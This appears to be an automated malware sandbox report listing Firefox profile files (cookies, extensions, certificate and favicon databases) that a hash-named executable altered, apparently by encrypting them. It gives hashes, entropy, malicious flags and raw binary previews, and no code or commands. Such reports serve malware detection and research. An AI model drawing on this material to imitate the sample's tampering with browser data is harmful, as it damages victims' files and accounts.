SHA-512:	EF61DEA1A3B9172BECDFC92FE316612BFE687E9FB5E86D15E769C6D1ECCE0EF781F75EABA9F91E9D7519962FFF606C9A0579AE14230D234BE9A51B1676FABC46
Malicious:	true
Preview:	......W....b..2..3.H....P5......3.i.x.?+v....(..z..'}.I.j.xI.....]f..t.....w..n....e....x_.,u...,./.X...H:..&.....?.D.{5..5..@ad.5..^bbB\|...&._\|.`2RI.Q..G...X.$Q;.u..n..,{S.......JQ....;.A...y...\|..4.L."f.....o.r6.nOo;...ky7!yKH3.4oW..4{%V.m0...:...4.&X.a2.Pdl.M.R2..q2..%............q"g..P~..U.a......e.F..s.c...G`@P\..g..o....`W..)+.....z.&.=+I...;..-...B......d..^..D:...\/.^.d...,5gr.P...<....~.MEb.p.$............[\...F{.....u.~...:J...bL..wn@h..3..U...I..x.....e....~.....P......m.......5..0..-....N.y...G.V..a2.HTJC.....z}.3..<....L.y.tR-.#..i.....T...fj...u.#.r..P..2.QO..#.......I/u...I...P.?Y`k-.I..!x.Yd^..3.. ...FE...B...%....d.....5....EO!.........D8.e.....9...p..;s...0....xZ...~Q9...5m;:.........X.q.a.Bo.B..yX..n./.2.D\.J........U+........v,.b2..l".;.g.{5.r...'\|O.....F- .a$E3~~6.+b.M......D...E...lV7(...).D.-%9..:.$.9...x.rdt...l.z.U.)C."F....7f.....%<....y....,.e..*S.......T..G....B.T.5.&+L...1..U9%.:.5.?T.+.E...ag:c.....x5.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\AlternateServices.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.726976625086937
Encrypted:	false
SSDEEP:	24:20B/a5Of+0HhpAwDHK4FybiWQBA4OGq+6dkbD:794Of+0Bp3jLwiDBsGq+TD
MD5:	13B5ECF84753F5C404E807BF6DBBEAA1
SHA1:	B5E3AFFAFC68658426ABE447D0BDD771E5A240E2
SHA-256:	636049C7D2C9912A6AC9A71CA0F1F0BC31A53E000338A2BF28FF469A7F53E4E0
SHA-512:	153E42035E2C1CBC09D263463EE6E8FD4EBA6D1ADE5DF28706DD28B06FAA57465726173C6D35E84983A68E0FB7B72A4D3D1AC74BFB164349BC797D815DC80FB6
Malicious:	false
Preview:	httpsG.yK.......&t....U..nD3...P.....B...g.......^........\|:...[.Dx..p.0!9...I.....O.}.y#..dz...S.jc..1&.8...}".q...m.Ya.W.W....i8.....q..=...A.<n..I.S........{...EP......h.:.qi.FC..Zi...q7.Q.....JpV)..wH.w3d.:j.&`...{4...:.e.Y.X..;, ...2.//.M..._.ny......)...F..c...\|.U....9.,..5.7.;9c^..v.......c...D...d_...0..s.k:..P..d......4U...O...c.v.%......u.\|.I.Q=.j......>.+.\..+:...#;.^5a.q...#_....n...z.A..-.... ...aW..jRW.T...Q..1..1w.>L.O..8..=@.N.Vp.......F..bh...V...ay..D].V....#cq..Q.....o./:......(.:<.>q...Y....l...=........X.E...(....".?}.T.VN\..O.............L..=.U...../.X.C...Y..{...2..&V.............O.E.....t..,C.C..N.....x..../..7#x9..gC........y;...{....9...JD.-7A..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\ExperimentStoreData.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3329
Entropy (8bit):	7.941936877255902
Encrypted:	false
SSDEEP:	96:A4gRtQyBXWp6xgW5VxMqXFglc0reBr2nYFHE2b85:AjvBXvGlNKJQYFHEZ5
MD5:	F0A620C8A0261C2737B53279DC04E783
SHA1:	AAD61B2AD74C78659D01E7FA36D2298FDC8416E7
SHA-256:	444A49149F00444198F76A2559F6A9D761BB70D59494510F19EAF6BA5A14C9BD
SHA-512:	7CB7D209A462C0175A503B4666491155CE43AB2AB7E7CC328661298A920853A6EA3842938BBBA2231D473A3244D72D96FB697727BA30E5AE7B5AE49F5E199F9F
Malicious:	false
Preview:	{"boo.zx7Dy..^=.sQ.RT#%..A%AI0R.i.G..dn)..-..]gU-..gj..L.....m...W.....8.qx..{..#G...c^.2....3+N..KY.@..G.Q..#.f..d.:.+Yd....LH..U.).K.?.k..m..]p.U.DhIV...F..'..z...@.cL_..../.)..(.....,..O.-;...;.#.......-R...x.ro.."..h'..&+....`..#Cu..(.s.....`.#..~(.N9..R....{@.....X4)......\|Q..()y.V4...b..@..qyc.4..\|...:%....93..~K..a...4.l.5...."#.id..^2....u......X...[.P{v...W.q.p..i}.....n!Bi.S..7...F=.:#..j..8$0..........6...9s^$a>..kl..0.N%2\..D`..g..O........!.58q..er:..RIcr.;..%....VP]m. m.......i.....,.U......p.<uX!/?3S.&..E.e3...4.#....v+So....s...b53..{I...-'.........0....-.mh2.[.......J#.M.g?..f..(y:....D..nV..i.....m0`mH.C......1.?....S~...c...?.1.}u..U..w.w......D..q..@.=NK.8B.$q.c......&.xB=.wH.G.f...Y.E....C.....".L.....W.7..w...L.\|!C.#..C..e.'r...P...j.."AQ.T.D9i...(6.[.{0>M..~..6...s.'...]. O]n.v.8.........<{_..:.....<.....a...8"..@.q.v3.]!.?...#%....z!5U*.....;.6,4m.....ZF.$....)....i.Y..oT.8~.u....g....9c......z.........#.....aP.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\SiteSecurityServiceState.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.707029281599102
Encrypted:	false
SSDEEP:	12:9Uaim4QydtnqKmA7lHr03tHZjoSluE3C/ZpsARnHomE3OBsxOHDsDkRMU+4qTPrS:9bh4qKmEw3t9op+AA3xOHIkRd+4gkbD
MD5:	D42031CF638E88C417B1B4268F5E4EA9
SHA1:	28BED0D7BFBA39195BAEB00038B59792A59336C5
SHA-256:	FE39841E2E4320FF114514CCA33BDD5F7D5ACF9A1E4C9C81C7E3450797A62EFD
SHA-512:	A31041F9D174B127A75CD5EA5B86A694A568B0E63574B5837850175DDA61D8ACD2A32C8BB1DECAB08E52299A62C901B3014CF9D0485AA8B73908EDA757171DBB
Malicious:	false
Preview:	aus5.K8.e.3...h{.>....aIU.AJ6.@gY...~w{.b.z..........$.0.Q. #\|;.V..lLf4l2..........t..z..t.1..f...@.hi..Mm.=....k{..1Y.s\|.i.D.....6..k........x LeZ.P\.s....XgBT..Lq.w.Ae.'U....c..........\|=....X.\6u.W..T....!c...Z@K....b....yB.*....jF.:3.O.K.G.zy..0...G...4..z.p..iy..d}W.......[..m.(..^....p....C..p..........)..-..i(.,..Oni.D."\I.a.].)T6b''.......m..C...!.",.d..8._gz.4....5\.X46.....'.uGQ.q.....;.(..=.uM.u.."Z.."....t.%...a.jn=.{.=.e..oI.s......>....[-k\..k.Ib...y..M;=.)...K...+.......07...<...M.l.S.J.c..xz..C..G..(.p~~{m........`E=.%..:C....\|...,N]8}2.Z..0..G{.ui_..d...$kl..%[XM.]....8...FH..^.-....9.5.....t.T.M...:.&...%...O.....rx..3..O....:f-(f(Usg....4..."..J..C.P.9.L.......\G..JeI.....TQ...v...1...~.W3..8.....<q.n.....T..d..{H8..G,.ddYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\addonStartup.json.lz4

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5765
Entropy (8bit):	7.966488629327148
Encrypted:	false
SSDEEP:	96:F310bNtubk1L1h+SwxKMj8wtucOFfUjd7AVWspW0dXxrFqTolfgdPpql47hLnFVt:F2bNtBaxl4cyUh7AssXdqogRYl47ZnF3
MD5:	D52C0E7313EEB6A9642139AC7B69F79B
SHA1:	8883F08F37CAA95D5A9CE93F45C903D83A3AF969
SHA-256:	0E0F37DDA80513D1B15B7E3A244283BA39542041E993B4F3FC3F0A10072CFADA
SHA-512:	45F354941D91AA903B4CF3BDE6D33448106914E13D615A36CDA0EC179E00CD4499EAB7D44A7A042B2B5A704F1855E8D57E3AA2FF2732B662DCE7D9BAFC27033F
Malicious:	false
Preview:	mozLz.MR....I.....[.VmN..#...P._)..nDh..:.....Dm.WLDOSa...`[....KX....d..,.E......\|~..x+.<.;Y.V>.vp.....B.O.C......T.h.T.x.}.dy.....[u.<...,./Bl...}..Z..&......Y35-.}a%..q^.;....._.h...}..........q...ZL...m..'..B..J.g>..dWz..].....Bp..w4u........~...w.W.6....Cn,I.D..@....(..TR.d.P.....K...u.T..'.........h.....Y..8..e.....D..?N.....p?k......xD.....d~U.>5.......+.(......._u.....(.\|g......w!....w32.l...a.r...#[..g..........&2'&...=....6&.0....p.ltzK5j1.,...rUN......V...]Z......:....\|7....\:.2j.z\|c.}M.lFp/.....L.z.....Y..i...q...P....-......xIl....;1..#h.4e......g..99./..C#..$.*l.[.3..X..;..3..&l.........0.^T./.r...".XhRN......^G].}>&K..O..{.K L`} .......~.....i..C.;.m.....)..{t!.`..H0<n.z..u....%..;j..#.i`.... ..~......s.n..\|..R...[.L....:.{...\..{..xN...H>g./.R.........h...lL.2.K...gi.I..O.w..i.....D+.j.O}$.o...O[...1..n..Y3......L....."BK........R.~X,...-=.H;..J\|.V..d.j.{oEy....]....'..X.M....w.(...0.w.}.696...g...".T...!.f..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\addons.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296959468947748
Encrypted:	false
SSDEEP:	6:YWGX8cz/YeiZ2/plytCSJSInHkYI/bxapyNqNvGfri1stEQ7Pebugcii96Z:YWGqeU2/3SgInEYI/MoNJjKstEuPrgcq
MD5:	627B58DFCD0B2258F9EDCDA2E5453B91
SHA1:	F9E5968E134525848A6FA2851482F5206C784CE4
SHA-256:	85B53EF3E92F2C3DAC860F17673754DBD469045C578227BDE709233A807D1AA6
SHA-512:	461C46070A41BD43296A34B3E40C3BB5BDFA82C9A583DB620E0ABBB7949F3B7E62460D844C89CE699FFC6515ACCEF4BBF631886AFF97278E0AE3FE969202D22D
Malicious:	false
Preview:	{"sch "~..b.f.b.l.V.+UE .+..9..FM.<.p.\|.T.w.8@...../#.}..G..S.....D.S~\|.;.#...r(J..f....}...s.u.XpZo..G.p.1o ..bZ.we..8....g..6...!L..$.Psbm:...%.E.........$...3..C..dhl.....k.=..kw.....v-..?.L..(...&.~'.......:$.p.....;.....;.t...b..n....zj....{...f.}$......dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	229710
Entropy (8bit):	6.27690502434174
Encrypted:	false
SSDEEP:	3072:hLFfAlIfrDPtBk6YdrlfdV/zL03w+V4NVtMQx/IMUN2MN+P+at0:zIOtTWTV/M3w+V4PtMVyK+WF
MD5:	CDA39774E1DE51FE5D74BBECC29E6459
SHA1:	567DE8D868B8A749C94A52CAB63915476F9241D7
SHA-256:	5082C70FF6FA252EF6E6A346D470DDE5F6943336C4E54AD30852400BF321E511
SHA-512:	1B87E58ECA1EF65475290F36F7B8D4855F4157F911D54F1CFB95B7CAF09732F07E7AE55EF65C385F452CA5CD146B1F6D131D06A9FF6509FF69DC39747D5B2A27
Malicious:	false
Preview:	SQLit...4.Tvv.Z#.r...7..r.....Ti@,..Z,..#7.a~(..c+M..EQ.)...X....P...?..._ ...e.bqk..<...........nR.e..H.......X...w+....5j..B7.+cGt...Z"..M...}cS...v.k.CF.L[4........3.....H.Gc;..w.B.....{..C.....(.:......'y.k..)....~6(.0?........3....-X.....pE.k....m.\L...."8...n..@y+....4.n......K.A...t...^.9.ue.k.4...\|..8.....;/..2C.j.F.B..X..Z.o.e'.0Z...n..q...6..O..EV^.b.3d..E5......fA.k..+4<..pr...X0.6...'.=nbh{YY.u..5..ib?.BR...._.x...\..t..&...\.7_0....T...].v.o6...&y"....O..tZ..{..P.{...c....}.33.........W..M...a.1.l.(.2..e...A.g0...Sr.(K...9.t.t:.f(R..s.Gct.....3......\|....A._.W.Rm7.....y.y.C...0.....D....i..T..yVY.Hlv...Q_.:....."....T.4.k...P.......A....0?l.3U..x.ts.{...P.4Li....g....lu......lw....vu.i.yP.cwV..........Oe.....m..wm.@./.......B.'.p.tb...x.,..J.../..(3.........0V....S..u.O.."v].0.>i.....#;....{<`."x.=.....`./g...%..['?.O.[@..8.0.O.2...L\VN... . !..Rh.Xj..aI.,.w..'.:....?.W......(?.>t...2..}.n.#......W-V..5ID`........$..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\containers.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.831126760107933
Encrypted:	false
SSDEEP:	24:YWERBwvsyOX9/MWhoaUvvBkf9r0dbDH8XdB3mIkbD:YWK6UTXlJUvZkfF01CdB3AD
MD5:	D2F7CBEF8D3A221E84E6D974192AD03B
SHA1:	86B0D1587F0B65A79A7B1BA2ADB1382D26827F2E
SHA-256:	781EA3A17D590B099F466F080C2ACBFBD604E6EDECC9D718A9C5B80120ADBF6A
SHA-512:	1D71E30C1991680B02A70CD81798C99CDA6F72CA57078F500ED601648EB806570EB901C7D14EFFBCC77DC8D64F25360CBDEABB7CD9EA7FB9504FDE797DC53E5D
Malicious:	false
Preview:	{"ver....0.,W.}'.v'.w..T9{..'?.c......u.....V......t.]t.i.Z...../.i....k.u.s...T8......,....e..}.P.qJ#....R..?.......%.8`..j..Va....^..b.43.n.PD.9I<..(I...N....._!.d..7..y{.C.aJ....:.Vv...BDa..f-{T3I...WEUN...m.D.W.{nf!...\..".6Q...[M..ea...g.....wy8....)..HUx2.>....T7.8PD....'...s7....P-....(.Jc.<...[4.\|..B.2....ix9.....5..sV..........M......C1..b......L.o..v+.<l..F../...e...A#.......p2yl.Pc.<.@%D..[y...6ct.;.FG.Q.e=.....q..oQ:.v.....LV.. 9.Q.IfO..'x\"....;.B.....}...g.S... &'/...a.w...)..av...........Zm........)....Wb.qTR.7I.(.ZD.).....K..@.JW.....Ch~.P\....9..<.....2d...2...9.[..k....H.&.....\|. ...TCb..X.l.".,b..dh.K....._..rq...2._...>S..4...W....E...Tpv-...`..o.............Z.%..I.X.?t\V.yJ.......7....&..&}....i.....v.I...cl.q...._AH.~7.g.."...h.2.X:o../...a0..>.N>qj.....".,d.....C.5...f^.%.....i........ u...A.V...>c...^....JTy.X.!....-u..dM!.[.v.4.......j4.....0..........qyF.@lB.E.yvz.M..N==.D.c.......K.#.....h......;...A.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\content-prefs.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.648237813756784
Encrypted:	false
SSDEEP:	3072:KdKz+i2jQaAdxMcvC9mcF0t5KfY+n3rtlJMREvNuf+5wzPKFOuvtVD64FHfVp:EKyi2jCMc69PPJ7ve+5wWYurDXL
MD5:	467967ECF33F12C7A251F0DD64E4A892
SHA1:	B08A6A66BCA3E09A8EECAD889D8FD0488FB305D5
SHA-256:	2BF6BAD9C74566581EFA84F9D76F6E17471ACFF290A767549389AB943D2D65C4
SHA-512:	2CD6B9BE5AAE5A1DCC29004DDB25259FCCD0D932E52AB1824FFD10A451634DD4A81520B0B7A878D5DACB07ACACA6CC679BF6A5CC157DB36E974DFFF305F38D08
Malicious:	false
Preview:	SQLit?...T......\|k.M'Y,.........>....GL.....A..l..F...B.........F...vo.h..z..sl..y2.v.L.E.+.4\|}F..R4..],...e..'..v...7\|.f.3........._e<...{.....D.".n...xj.._c.D...B..hz.L.^.\|T.u..D.T<.....w...._!<0.T..jAw...B.a....2..r...\|6.b#...L...F.3k......O....=.%'....p.......(2......G...'..V..f.L.H..j...".]KY.v.0(Q..1.8e(H..&...F^BSh.^.....b.3.#n^.JL./.]..I.......[...~Ogt..i.$.... e.]..\.z..0j0gW.z....}~9..,m.......G.Z...T......../.W..!H...[......X..O.)S.(....#..{:J.nQ.#F..#EmZ.5..D.I.r\...n....a.-..P...... .6K.UQ....b.R.H/....W...T.x.\.W7......Z......MF.v."n=..mV......}..d.ev.Y/q....Q......._.z8:...yE....~[p.I?...._..S..j....;.......E.gV.B....6...,..u....{..&..q9LU.P.V'..-......)...p.........eUd.`......4I.,m.u......!@.%..5....<.C.......~./,.d..lp.U.]0......g..'..h.p.."w..7B2.'...u,.C"....[..e...*...Y0.Gm _....t.E..0R.n..S.....-o.;b...(..l..`A.".;....Q.B..W.............R.6s.......k.^..U..-..Ob'I.IRX.W.@..&..Q...e....N).a....._p~..ve..Q.Qp..O

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997857445834291
Encrypted:	true
SSDEEP:	3072:thE+WOlnebZtnr4SLN+jooyWRYRZPkhl9d5:thE4+9rpLNSoHWYRZPkhl9d5
MD5:	A12DBD0A195A501EB193D5E152655BAC
SHA1:	8073F6343A5026CC5488350AEEADC567A646548A
SHA-256:	F6B66F5653767FA67EF3F12C1EB6E484ED9A1B27F1D7756B7A0127FD606EF42D
SHA-512:	C147F97C747A17FADCA4B35D628739C078628E9BDD2AC0BA4F6E52A44457E77C2465879C1655D84F20B7022D48228A40F986D097B7B442143685DB301E7075AD
Malicious:	true
Preview:	SQLita..t....JJ.M.....)4.y.\|..........c@......].....0..N...K.2....,c..M.A..SuR.[m.\|.................u1...W..X.....".S..,Mj....;ju....Q.EN....T..1...7..b.......@D.+...Q..=!.~fT..<.[u.i.>....D.iyL.F&....nR....D8..........l....J)...n..z.D.`im~....Q....l....O...?..q.....DE..[.V.o......t..zG..-.E.......'b~..T.".Y...-.%s....[%..k....].........#z.......]....QSc.f..G..=....m<...P.~+..Vq..Z.o_\..X@...s.~....H.,..h7..\...>.S5...RE......a.....Bo..S..j......'{.!\|~........$\|....2.R..Oj.....C7.~.N..o.....z.....*....)..yW.E.^}Lc_.Q%...0cq..yO..B..k{....y..1...?,._p.T..\.9..#...\|....j..G.k...^\..,.j....o..<.:f.B._'Q)0..]\|.r.G]..lwr.1.E.+l.N.....jUy....e..DJ+?l(.....%...KM.....5S...U.N..s8>..[.~.S.!..W..^...CL.iW.X........Q.+...}:D........=...va\.k$...r.:2..5......:.n.I......%H..d...1.....J.}.=4....`._..H.....t....OD.lW6F.....k%..G.i........"\|..\|7.u.P...A8.Q.{......'[x..M..D.2JP....Q..@H.n..@.o.E....ob./:F...Cb...].#...GB..z..t......?..S.7^\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994825499194096
Encrypted:	true
SSDEEP:	768:Wcr5yT7i3ijipiGMw/ClL9HGGTNEolcVMRzAEkFIbEvK:/5tI5GrKlhGkL+k0Fc
MD5:	9771708ECC227009F0DE3FC9B38280B0
SHA1:	F7E91855D3F7A7AE9EF945990017B20AE1198C5E
SHA-256:	795CD9C23990CB40BF554E44B04AA2A8047DF0D64A6E087E81E04647534E5BDD
SHA-512:	C7678C07EDBACF3075FA92D27C78ECDC9CCD1AC207596BE2DED45EE85F809B989BA33105FC0D071D311AEA2C9C9A81D5F28421722A1B80E6C88DCE6510F00CD5
Malicious:	true
Preview:	..-...H.e......1.....a^...P.....`>.G..k.-..<8.u..aX..<...Iej.B.......H[ZSy.JX..:.`<.2O-.ak+.._..c..}.....\...f.A....."=wg.E.+.3.\........NX. eD.U..A...F}....%..Z....}a..P.D....\dPG.5..v:\....."w...Bc.F...8m...Ej.......A.._...aZ..I)5.O....<.....r.V.4.T.O.Bp......w9w.Q.p.TJ%.B..P.([......t(..\|>.kIV...@w.\|.r[..Y....L....+.Tb.V&"....+.p:X....@..mj..0.2Y....+......Ef.\\.A.~)..7C..O.9...O..v.....j.w$.xV...:.: q9.u.#.1_s....5=.6./..i..u..x~-.k"snH ...Iu.....]....AN+.Gx.L.Rcc.......2=V....$...U.5.\'....u.^.....`tts...{.\.o.Q...9%...[..9.H.....xy.;_...d:...-~.0Et.T..>-....9..r.\|g:=.l.d.....j.T9.EK..~]..M....dSQ...k...&..@..Z......319f~.i....:D......\|.(.C..F........tr.?....W.....;.F>.l...V...Z..O.D......S.DI...H..,3p.....Bd~k.X....O.....3.Ze...soLc..:.$.)%...g.3..*..>R.9....=...T.n...B.b.$...G.w.....}.i!....i..O.B"...Gft4..I.&...p.p...9...J.S...K..3ji....$pU...s..D.t..../.x..WJ.O..RH....#[%......B~...Sf!...&`...U.d..e.W..z....../f.o....g6u...S..(..Z.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\extension-preferences.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.872005838061874
Encrypted:	false
SSDEEP:	24:YbJjX/sP5wxk5lVzkUU9IapkHAXNuJf1MQrlYlj5x5oEm9hapmkbD:YbJjkBwm5lCUUKap0ZlOQyJmsDD
MD5:	E91D66C4DFE922AE94A103001EDBB304
SHA1:	07E91856C5BE307E91995E1645C0E780ACDB96A4
SHA-256:	6D29E7E6AE54F0AB8C59BB9B1B0EC253160502F97CF283279EA3DA3A9B471DE2
SHA-512:	2372F497BA5FCD3C79FC70638E53D869D6F84AD3DD32A8CDD613249B930801332B6B79DF0CA8A2AF664A13DCEB2320683B3386BF47851F7B293A6F622B11DB61
Malicious:	false
Preview:	{"ford.gx..l..0.5t.F...9_:H.g.h....8P..x4...X..o..N%..?..C,(.......h"/E.)F.gn...n..5....(E...T..N....V.[.m.}....+.......H..h.....A..b..h........]....(..}...)....L........XK.p...........n.e..6S@..T....7"6.>A<F$..8...r.ZOOC.....ask.sn..........\. .....I.&..6R6.L.\|....2....Nzh.W..3.....gX.\...ei;.3X.Z.KT]..f..x....q50..~:.it./...A..8)..I\|...=..XV.r.a."..v..._.v..tUB....u...a..:...7...N...Y.^...U......T..6..0...dFA....(.S+r.EqMk.,.v..~c6.K.O...<....x.....N.F.....4..t....q.....P..'.L[l.)..Q{]E....+.."'....T[....M...l..S..%..s..'..!P.N?y.5.^:.zPv..m.?j..7.........V.~..z$iU....'..49cBp$iA1k.l....A6..Gw]R..6.{....-.I$q...B.....'.z..>..q.....F. .L..w.......xRQ-....K.....Q.].g....L7..x\|W@..-.....D(...J^;4gD.$....CG.z....}..... .j...9.%.J..'\|9b..a..]..I.[.z..o.G .6..@.l.......!...........C..CM..b..M?.9....i..a.....c.49A..D...n.....h7.V.i.....X.JL......J...)2K*.....&C6.'$..Bo 6&R.....(4.3d..{J._/. .'h. -!i...?p`.L0.w.3.......8...n&2.....N-....l.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\extensions.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.9950467674128305
Encrypted:	true
SSDEEP:	768:slaSs1Gae6L2tNkZf3v80uCVIOlatZ1YIaGbQMF/mk3cX0:xG6fZf/XudOUtnMILM0
MD5:	F7F0D6F738676ADF6FE71D2B2D6D379C
SHA1:	1FF7255F6B8D61E0A414C1E10D3E1332821E2835
SHA-256:	99BFFFF242C37933BFF89E2494CAB87168F98903B73DE43ABB816C66EF8C9B46
SHA-512:	B8C86277F07BAD9CAB6B0405229DF3E369EBBAC308D9229A9DDFB5BE498A7DBAD83A94335353A901F7D2D50284B230FF09614A6A220DD54A92DADF4A282D4B07
Malicious:	true
Preview:	{"sch.....;.C1.......!.k.JJ..s..#...............0.cH..o%I..xj......j....EV....e-..y_A@L.r...." Z.F.cp`-...JG.?.....a.V...kHM1.......%.`v...;....~.AGE...h....q.....V.;..<..<..k....sy..B.YG.b..l...>.......?R..., ....d1Mm.I....3.+..ak............A..TG..Q..+1.^wX7P.-..YK.........l..1bm.p.=S]m.B.#.b..6....!..d.q"@.j...[..m..0X4.......x+o..i%jI\|....UA(.Y!@(...y....}w".....w.nA,.e.....Lk-(.E.'9...'F.,..e.l7........oe....gB,p3..K..p.{D..&.b....K.D..\..6.CY\M.....I..V....e_.........m.).`..8..\h....+.q.........$...Z\|........>YJ...c.^.a@.....]f.....{-.a0.gF....uA.'...!..n......W..2eT.......[......#..n.0.l,..........A.e.<...u......\|&}x..N.......8u.8.L.......7..Ba.......CsQ.J[..6.\|.\..=Z....G6.C..";#o.....!mD.8...S....Qe,8.-...Z~......#.F%"..K..!.y....QZ..g_.N_6..\|..A.....A...."2..,_...l+z3.A..K2.....]....]....h....p...\|.h^.k.e..O.o.K...xY...C\|.G...1..a.,.y.....}.........ET..u..r......K.UQ/v.V.A..d0..IZ......K....X.......5.."...q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.42657343089786204
Encrypted:	false
SSDEEP:	3072:D/XfnMUrMF9mcU6CD+cuIgulhYqyfN1rw6DaxfzwaMuIiPbZ:rPnHMFJU6MuIgulut1CpwuIeV
MD5:	64A303361B38C3B8FB099A1A61939D43
SHA1:	881DAD282AC049A22021C9192E3FC6EA1908EDF0
SHA-256:	0341D63429D866938A9BD40E8E1A417F54A9F5D79FA29590DABDB40B138F05A8
SHA-512:	AA5ACE17C70701866FF472F17741F14FCC0BBF9987A2C2F3BF5374F13EBBC6AE2B2B61AAFC2B80F89B98BE0FBA8ACCA3262595F5DC60D97968F9F1FE3ED1F4B4
Malicious:	true
Preview:	SQLit...C..(.......'..CeAz..(..`..U..>.G..nW.... .q........... .....a..E..=%$..U.!.......F$_.Z.i.....,..._H.,=.).C...C.....+..Y.E....\|........M..%ys..<B.(Oh..!.@......U..].E#..T1oT.mlB..W...PMNbxVi]..%??.M_o....6.._C"~........}.....`Z^....`.F....\|.(..u.i.\.......i....6f7.-..i...YmJq..}..G7.....;<.\%.. .?....r9.D(.....g....:..U.....@...".+#.OR)..#..'. .".Y.'&uW.......HW...1...,.v/....8A.t9.A....W....p.].RZ.+d....-.........\up.pA..ZuHi.....K.Y.#g.:...'.I.../.OL..g:..nS..>..-4Pq".......R^.y...'a..e.8.Q.{..[.Cdg/.\|....... ./...5.......1....:8.N@...\...1..m.p9..o...]j.hX./(..9n...._.&..5.F~.>.#..[+S....K...=<.7..........%-}.`..kg../Q.....7y.6.t<.Z..[."`."^_..j2.x..O...v..d"......;.t...\|..bL.:D.oV=..+..t..R....8..g..7..5......O.c..5....H.........x.T...p.....k....&@.q...m'.[....^.4...]q.J..%.2m.....,.,.F.PK..LwI^R.v...d6.)....A.8p\.g.....i.g..TR...I..gr...S.F...$<v.T....i-q'.1o<}`.9.h....i..}.......B....M.I>\.p.j..9p

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9945258155193795
Encrypted:	true
SSDEEP:	768:Nd0Blbo91cqNE85Fr/vEIf15MVpq3p5I3pGvuHWHvYQ:Ndqlbo91cc1/vdfsVpqZXQSR
MD5:	E516AF2E38590830FA5E1A56581A6273
SHA1:	325FD54B84BC721E91879BB624794802A6C19D36
SHA-256:	A0A60BCDD3F93D227464A0E3CA7849C53D383C9774CAFB09FEF5C839F5DE3DF3
SHA-512:	290B51546720040E43F933F4A321F9653D33981093AE5755CE838F7C72A3AD3D238BE0CF8F7E3AC8228FAD2EAD4F7989A9AD9F2CE7BBE5F067929A17F62964F4
Malicious:	true
